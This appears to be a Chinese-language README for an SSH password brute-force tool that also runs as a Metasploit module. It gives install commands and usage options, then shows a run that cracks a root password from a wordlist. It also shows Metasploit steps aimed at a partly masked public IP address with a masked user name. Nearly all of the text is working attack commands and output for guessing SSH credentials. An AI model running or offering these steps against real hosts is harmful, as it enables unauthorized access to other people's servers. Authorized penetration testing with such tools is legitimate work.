运行方式:终端下运行脚本,或在MSF中作为模块运行
git clone https://github.com/HZzz2/SSH_Bruteforce
cd SSH_Bruteforce
pip install paramiko
python SSH_Bruteforce.py -h
usage: SSH_Bruteforce.py [-h] -H HOST -u USER -f FILE -t THREAD
exmple: python3 SSH_Bruteforce.py -H 192.168.1.180 -u root -f password.txt -t 10
optional arguments:
-h, --help show this help message and exit
-H HOST, --host HOST Hostname/IP 要爆破的主机IP
-u USER, --user USER Username SSH用户名
-f FILE, --file FILE Password file 密码字典
-t THREAD, --thread THREAD 线程数
Thread number
python SSH_Bruteforce.py -H 192.168.1.180 -u root -f password.txt -t 9
[-] 123221 is not correct
[-] 442342 is not correct
[-] 842482 is not correct
[-] 524253 is not correct
[-] 224224 is not correct
[-] 724731 is not correct
[+] 123456 is correct
SSH PassWord:123456
出现paramiko ssh banner错误不影响程序运行(线程过高的原因,推荐不高于10线程)
cp MyModules / -r
└─# chmod 755 /MyModules/modules/auxiliary/scanner/ssh/MSF_SSH_Bruteforce.py
msfdb run
msf6 > loadpath /MyModules/modules
msf6 > use auxiliary/scanner/ssh/MSF_SSH_Bruteforce
msf6 auxiliary(scanner/ssh/MSF_SSH_Bruteforce) > set rhosts 7.XX.XX.18
msf6 auxiliary(scanner/ssh/MSF_SSH_Bruteforce) > set user_name rXXt
msf6 auxiliary(scanner/ssh/MSF_SSH_Bruteforce) > set file /usr/share/commix/src/txt/passwords_john.txt
msf6 auxiliary(scanner/ssh/MSF_SSH_Bruteforce) > exploit